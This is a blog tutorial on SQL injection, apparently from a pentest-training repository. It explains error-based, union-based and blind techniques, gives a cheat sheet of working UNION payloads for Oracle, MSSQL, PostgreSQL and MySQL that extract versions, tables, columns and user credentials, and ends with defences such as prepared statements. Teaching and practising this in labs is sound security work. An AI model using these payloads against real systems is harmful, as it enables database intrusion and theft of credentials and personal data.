← Back to Start

DB Snake: How SQL injection works and what to do

March 24, 2026

This week I've been learning and experimenting with SQL injection (SQLi). An all too common vulnerability that allows attackers to make database queries and extract sensitive information quickly and efficiently, compromising everything from analytics to user credentials and personal information (a.k.a. GDPR nightmare). I will explain how SQLi injection works in theory, share a cheat sheet with working payloads you can try out (with permission of course) and discuss how to protect against SQLi.

How SQL Injection works

SQLi exploits unsafe programming where a user input is directly parsed into an SQL query in the backend. By escaping the input field arbitrary SQL queries can be injection to obtain sensitive information.

An example of an unsafe query would be something like this: SELECT * FROM products where category = 'USER_INPUT'

If user puts in kitchen as a category on the website the backend would query: SELECT name, price FROM products where category = 'kitchen'

If the input is vulnerable to SQL injection an attacker can instead input kitchen'UNION+SELECT+username,password+FROM+users--

This works because it forms a valid SQL query like this: SELECT name, price FROM products where category = 'kitchen' UNION SELECT username, password FROM users-- (spaces have been added for clarity). The result will be a set of data that contains both the products from the kitchen category but additionally has the columns username and password from the users table appended.

The attacker has successfully performed an SQL injection attack and has compromised user credentials.

Types of SQLi

Error Based

Sometimes the web service returns the database error message when SQLi is performed. This helps to identify the backend query and therefore form better SQL injection payloads.

Union Based

By using the UNION command we can aggregate the results of two SELECT queries into a single result. This can be used to append a malicious query appending the extracted information to the real result.

UNION based attacks require the malicious payload to return the same number of columns as the legit query. To find out how many columns are returned we can use context or use ' ORDER BY x-- incrementing x by one each time until an error is encountered. If an error is encountered at x=4 we know that there are 3 columns.

Blind // Boolean Based

Can be tested with something like ' AND 1=1--. This allows us to obtain database information using true or false conditions similar to time based attacks. For example finding the length of database with a query like this ' AND (length(database())) = 1 -- can check if the database length is 1. Similar to time based attacks this is very slow because no actual data is returned, but it can be used to verify results.

Blind // Time Based

By forcing the database to wait before returning the value with SLEEP(10) we can figure out if the query result is TRUE or FALSE. Depending on the outcome, the response will either be delayed or returned immediately. No real data is returned, it can only be confirmed bit by bit if the result is True of False making attacks like these slow, especially with large databases.

Cheat sheet

Get version information

Oracle SELECT banner FROM v$version
SELECT version FROM v$instance
Microsoft SELECT @@version
PostgreSQL SELECT version()
MySQL SELECT @@version

(assuming UNION expects two columns)

Oracle

'UNION+SELECT+NULL,banner+FROM+v$version--

Microsoft

'UNION+SELECT+NULL,@@version--

PostgreSQL

'UNION+SELECT+NULL,version()--

MySQL

'UNION+SELECT+NULL,@@version-- c

Get Tables

Oracle SELECT * FROM all_tables
Microsoft SELECT * FROM information_schema.tables
PostgreSQL SELECT * FROM information_schema.tables
MySQL SELECT * FROM information_schema.tables

(assuming UNION expects two columns)

Oracle

'UNION+SELECT+NULL,table_name+FROM+all_tables--

Microsoft

'UNION+SELECT+NULL,table_name+FROM+information_schema.tables--

PostgreSQL

'UNION+SELECT+NULL,table_name+FROM+information_schema.tables--

MySQL

`'UNION+SELECT+NULL,table_name+FROM+information_schema.tables-- c

Get columns

Oracle SELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE'
Microsoft SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
PostgreSQL SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'
MySQL SELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE'

(assuming UNION expects two columns)

Oracle

'UNION+SELECT+NULL,all_tab_columns+WHERE+table_name='TABLE_NAME'--

Microsoft

'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'--

PostgreSQL

'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'--

MySQL

'UNION+SELECT+NULL,column_name+FROM+information_schema.columns+WHERE+table_name='TABLE_NAME'-- c

String concatenation

Oracle `'foo'\ 'bar'`
Microsoft 'foo'+'bar'
PostgreSQL `'foo'\ 'bar'`
MySQL 'foo' 'bar'
CONCAT('foo','bar')

Column concatenation

|| '~' || for example username || '~' || password will retrieve username and password as one column with the value seperated by a ~.

Substring

Oracle SUBSTR('foobar', 4, 2)
Microsoft SUBSTRING('foobar', 4, 2)
PostgreSQL SUBSTRING('foobar', 4, 2)
MySQL SUBSTRING('foobar', 4, 2)

Comments

Oracle --comment
Microsoft --comment
/*comment*/
PostgreSQL --comment
/*comment*/
#comment
MySQL -- comment
/*comment*/

How to protect against SQLi

Prepared statements

The easiest and one of the safest solutions are prepared statements. Instead of directly inserting data into SQL queries we use a placeholder ?. On execution the application binds the values to the parameters.

Sanitization

Additionally, it is recommended to sanitise data and remove special characters (if not necessarily required) from the value, especially ', , and -. Work on a zero-trust basis. Every character that doesn't need to be supported should be removed.

Encrypt / Hash information

Although this won't prevent SQLi injection, encrypting or hashing your database information makes it harder for attackers to use the extracted information. Instead of valid admin credentials or actual credit card information they'll be left with unidentifiable gibberish.

Conclusion

Although SQLi is one of the most well known web vulnerabilities, millions of services are still exploitable. As part of the OWASP framework it is incredibly important for system administrators to secure their services. I've you've had any value from this I'd really appreciate a star on my pentest-training repository, which this write-up is part of.

Thank you to PortSwigger for providing amazing learning resources, cheat sheets and labs to learn from and experiment with.